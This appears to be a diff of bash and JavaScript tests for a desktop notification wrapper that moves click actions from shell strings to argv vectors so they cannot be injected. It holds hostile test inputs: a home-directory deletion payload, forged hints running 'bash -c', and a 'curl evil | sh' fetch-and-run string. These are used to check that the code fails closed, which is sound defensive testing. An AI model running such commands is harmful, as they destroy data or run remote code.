[[ ${args[6]} == "--hint=string:omarchy-exec:omarchy-menu-keybindings 'a b'" ]] || fail "notification wrapper converts exec to hint"
[[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline"
[[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description"
pass "notification wrapper supports app, glyph, urgency, image, and exec options"
# Notify(susssasa{sv}i) args, by position in the recorded busctl argv:
# 0 --user 1 -- 2 call 3 dest 4 path 5 iface 6 Notify 7 signature
# 8 app_name 9 replaces_id 10 app_icon 11 summary 12 body
# 13 actions-count 14 hint-count 15.. hint triples last expire_timeout
declare -a args
load() { mapfile -t args <"$args_file"; }
hint_count() { echo "${args[14]}"; }
has_hint() { # key
local i end=$((15 + 3 * ${args[14]}))
for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && return 0; done
return 1
}
hint_value() { # key -> variant value
local i end=$((15 + 3 * ${args[14]}))
for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && { echo "${args[i + 2]}"; return 0; }; done
return 1
}
# The shell runs the click command itself, so nothing may block the sender on a
# libnotify action round-trip.
grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action"
# ---------------------------------------------------------------- happy path
send --app-name custom-app -g K -u critical -i battery-caution -t 5000 \
"Download complete" "A body" --exec mpv -- "/tmp/a b.mp4"
load
[[ ${args[2]} == "call" ]] || fail "notification wrapper calls a bus method"
[[ ${args[3]} == "org.freedesktop.Notifications" ]] || fail "notification wrapper targets the notifications service"
[[ ${args[6]} == "Notify" ]] || fail "notification wrapper invokes Notify"
[[ ${args[8]} == "custom-app" ]] || fail "notification wrapper sets the app name" "${args[8]}"
[[ ${args[10]} == "battery-caution" ]] || fail "notification wrapper sets the app icon from -i" "${args[10]}"
[[ ${args[11]} == "Download complete" ]] || fail "notification wrapper sets the summary" "${args[11]}"
[[ ${args[12]} == "A body" ]] || fail "notification wrapper sets the body" "${args[12]}"
[[ ${args[-1]} == "5000" ]] || fail "notification wrapper sets the expire timeout from -t" "${args[-1]}"
[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper maps critical urgency to 2"
[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper sets the glyph hint"
[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/a b.mp4"]' ]] || fail "notification wrapper builds the click argv hint" "$(hint_value omarchy-exec-argv)"
pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, and click argv"
[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send"
pass "notification wrapper never invokes notify-send"
# Replace-in-place: -p prints the returned id, -r reuses it (the display text
# size toast refreshes one notification instead of stacking a pile).
returned_id=$(send "Restart Foot" -p)
[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id"
: >"$args_file"
OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
omarchy-notification-send "Received photo.png" "Saved to ~/Downloads" -u critical -g K
send -r 42 "Restart Foot" >/dev/null
load
[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}"
pass "notification wrapper supports -p (print id) and -r (replace id)"
mapfile -t args <"$args_file"
[[ ${args[2]} == "-u" && ${args[3]} == "critical" ]] ||
fail "notification wrapper reads an urgency that follows the description" "$(printf '%s ' "${args[@]}")"
(( $(grep -cFx -- "-u" "$args_file") == 1 )) ||
fail "notification wrapper sets the urgency once" "$(printf '%s ' "${args[@]}")"
[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] ||
fail "notification wrapper reads a glyph that follows the description" "$(printf '%s ' "${args[@]}")"
# Options may follow the headline and description (Taildrop appends -u critical
# and -g after the two positionals); they still land on the call, and urgency
# stays a single hint rather than doubling.
: >"$args_file"
send "Received photo.png" "Saved to ~/Downloads" -u critical -g K >/dev/null
load
[[ ${args[11]} == "Received photo.png" ]] || fail "notification wrapper keeps the summary before trailing options" "${args[11]}"
[[ ${args[12]} == "Saved to ~/Downloads" ]] || fail "notification wrapper keeps the body before trailing options" "${args[12]}"
[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper reads an urgency that follows the description" "$(hint_value urgency)"
[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper reads a glyph that follows the description"
urgency_hits=0
for ((i = 15; i < 15 + 3 * ${args[14]}; i += 3)); do [[ ${args[i]} == urgency ]] && urgency_hits=$((urgency_hits + 1)); done
((urgency_hits == 1)) || fail "notification wrapper sets the urgency once" "$urgency_hits"
pass "notification wrapper reads options that follow the headline and description"
# The --flag=value form works too (the acceptance suite uses --expire-time=15000).
: >"$args_file"
OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
omarchy-notification-send "Plain" >/dev/null
send "Acceptance" "Body" --expire-time=15000 >/dev/null
load
[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}"
[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}"
pass "notification wrapper accepts the --flag=value form"
grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec"
pass "notification wrapper omits the exec hint when no command is given"
# ---------------------------------------------------------------- no click cmd
: >"$args_file"
send "Plain" >/dev/null
load
has_hint omarchy-exec-argv && fail "notification wrapper adds no click hint without --exec"
[[ ${args[11]} == "Plain" ]] || fail "notification wrapper still sends a plain toast"
pass "notification wrapper omits the click hint when no command is given"
if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \
omarchy-notification-send "Headline" --exec 2>/dev/null; then
fail "notification wrapper rejects --exec without a command"
# ------------------------------------------------ rest-of-line --exec is literal
: >"$args_file"
send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null
load
json=$(hint_value omarchy-exec-argv)
[[ $(jq -r '.[0]' <<<"$json") == "mpv" ]] || fail "click argv program is first"
[[ $(jq -r '.[2]' <<<"$json") == '$(rm -rf ~); echo pwned' ]] || fail "click argv carries metacharacters as literal data" "$json"
pass "rest-of-line --exec is a literal argv vector"
# A quoted argument with spaces stays ONE argument.
: >"$args_file"
send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null
load
[[ $(jq 'length' <<<"$(hint_value omarchy-exec-argv)") == 3 ]] || fail "spaced path stays one argument"
pass "notification wrapper keeps a spaced argument intact"
# ---------------------------------------------------------------- injections
# A forged click hint arriving as the SUMMARY is a typed string parameter — it
# can never become a hint. Only urgency is set; no click command exists.
: >"$args_file"
send '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' "body" >/dev/null
load
has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click command"
[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}"
pass "a forged click hint in the headline is inert summary text"
# A forged hint in description position is inert body text — a typed D-Bus
# parameter that can never become a hint — not a click command.
: >"$args_file"
send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null
load
has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command"
[[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}"
pass "a forged click hint in the description is inert body text"
# A forged hint that reaches the trailing option position is refused: an unknown
# option is a hard error, not a silent pass-through.
if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then
fail "a forged hint in option position must be refused"
fi
pass "notification wrapper rejects --exec without a command"
if send "Head" "Body" --bogus 2>/dev/null; then
fail "notification wrapper rejects an unknown option"
fi
pass "notification wrapper rejects an unknown option (including a forged hint in option position)"
# ---------------------------------------------------------------- --exec guards
# --exec is recognized only after the positionals: a headline literally "--exec"
# is text, and the real trailing --exec still wins.
: >"$args_file"
send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null
load
[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/v.mp4"]' ]] || fail "a --exec-looking headline is not the delimiter" "$(hint_value omarchy-exec-argv)"
[[ ${args[11]} == "--exec" ]] || fail "a --exec-looking headline is kept as text"
pass "a --exec-looking positional is not treated as the delimiter"
# A single quoted whole-command is rejected (splitting it ourselves is the
# injection we avoid).
if send "Head" --exec "omarchy toggle something" 2>/dev/null; then
fail "notification wrapper rejects a quoted whole command"
fi
pass "notification wrapper rejects a single quoted whole command"
# --exec with nothing after it is a usage error.
if send "Head" --exec 2>/dev/null; then
fail "notification wrapper rejects --exec with no command"
fi
pass "notification wrapper rejects --exec with no command"
# --exec with a single empty argument is rejected too.
if send "Head" --exec "" 2>/dev/null; then
fail "notification wrapper rejects --exec with an empty program"
fi
pass "notification wrapper rejects --exec with an empty program"
# A description that begins with a dash is content, not options: a price, a
# negative number, a diff line. It must reach the body, not error out.
: >"$args_file"
send "Sale" "-50% off today" >/dev/null
load
[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}"
pass "notification wrapper keeps a dash-leading description as the body"
# But a known flag in the description slot is still an option, not the body.
: >"$args_file"
send "Timed" -t 3000 >/dev/null
load
[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}"
pass "notification wrapper still treats a known flag after the headline as an option"
+58 -18
View File
@@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri
assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND')
assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps')
// The click action's argv form: parsed from the persisted omarchy-exec-argv
// JSON only when it is a non-empty array of strings whose program is present
// and not a leading-dash option. Everything else fails closed so a malformed or
// hostile hint can never fall through to a shell.
assertDeepEqual(
notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'),
['mpv', '--', '/home/me/a b.mp4'],
'notifications parse a valid exec argv vector'
)
assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint')
assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint')
assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array')
assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array')
assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv')
assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv')
assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv')
// The argv vector rides on the snapshot as the raw JSON string, so the model's
// value comparison stays a plain string compare and the file round-trip is
// lossless.
const execSnapshot = notifications.snapshotOf({
id: 3,
appName: 'omarchy-action',
summary: 'Download complete',
hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' }
}, 1)
assertEqual(
execSnapshot.execArgv,
'["mpv","--","/tmp/clip.mp4"]',
'notifications carry the exec argv hint onto the snapshot'
)
assertDeepEqual(
notifications.popupPlacement('top', 32, 6),
{
@@ -353,38 +385,46 @@ assertEqual(
'notifications omit the deadline field until a restore sets it'
)
// A click action carried as a command is the only kind that survives a shell
// The click action (an argv vector) is the only kind that survives a shell
// restart: a libnotify action leaves its sender waiting on an id from a server
// generation that no longer exists.
assertEqual(
notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec,
'omarchy-menu-keybindings',
'notifications capture the click command from the exec hint'
)
assertEqual(
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec,
notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv,
'',
'notifications leave the click command empty without an exec hint'
'notifications leave the click command empty without an exec argv hint'
)
assertEqual(
notifications.popupEntry(
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)),
JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)),
1
).exec,
"mpv '/tmp/a b.mp4'",
'notifications round-trip the click command through popup files'
).execArgv,
'["mpv","--","/tmp/a b.mp4"]',
'notifications round-trip the click argv through popup files'
)
assertEqual(
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec,
notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv,
'',
'notifications restore an empty click command for popups without one'
)
assertEqual(
notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec,
'xdg-open /tmp/received',
'notifications keep the click command on history rows'
notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv,
'["xdg-open","/tmp/received"]',
'notifications keep the click argv on history rows'
)
// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its
// click action as an `exec` shell string. After the update-triggered shell
// restart the new shell only honors execArgv, so a restored legacy popup keeps
// displaying but its click is inert — deliberately, because splitting the old
// shell string back into a command is exactly the injection being removed.
const legacyRestored = notifications.parsePopupFiles(
JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }),
1
)[0]
assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv')
assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field')
assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action')
const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8')
assert(
/readonly property int historyLimit: 10/.test(serviceQml),
@@ -527,8 +567,8 @@ assert(
'notifications service delimits every popup file during restore'
)
assert(
/var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml),
'notifications service runs the popup click command itself instead of a libnotify action'
/parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml),
'notifications service runs the popup click argv itself instead of a libnotify action'
)
assert(
/function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml),
+4 -3
View File
@@ -67,11 +67,12 @@ pass "taildrop receive announces other files with a glyph"
# The shell keeps the click command with the toast, so receiving does not have
# to sit blocked on an answer -- and the toast still opens the file after a shell
# restart. Names with spaces have to arrive quoted for the shell to run them.
# restart. The path rides as its own discrete --exec argument, so the shell runs
# it as literal data with no quoting for a name with spaces to get wrong.
grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" ||
fail "taildrop receive attaches the open command to the notification" "$notifications"
grep -qF -- "--exec xdg-open $(printf %q "$downloads/notes with space.pdf")" <<<"$notifications" ||
fail "taildrop receive quotes spaced names in the open command" "$notifications"
grep -qF -- "--exec xdg-open $downloads/notes with space.pdf" <<<"$notifications" ||
fail "taildrop receive carries spaced names as a literal open argument" "$notifications"
pass "taildrop receive lets a click open the received file"
grep -q "unrelated.txt" <<<"$notifications" &&
+3 -1
View File
@@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")"
cat >"$test_bin/omarchy-notification-send" <<'EOF'
#!/bin/bash
echo notification >>"$TEST_LOG"
exec_args=()
while (($# > 0)); do
[[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG"
if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi
shift
done
((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG"
EOF
chmod +x "$test_bin/omarchy-notification-send"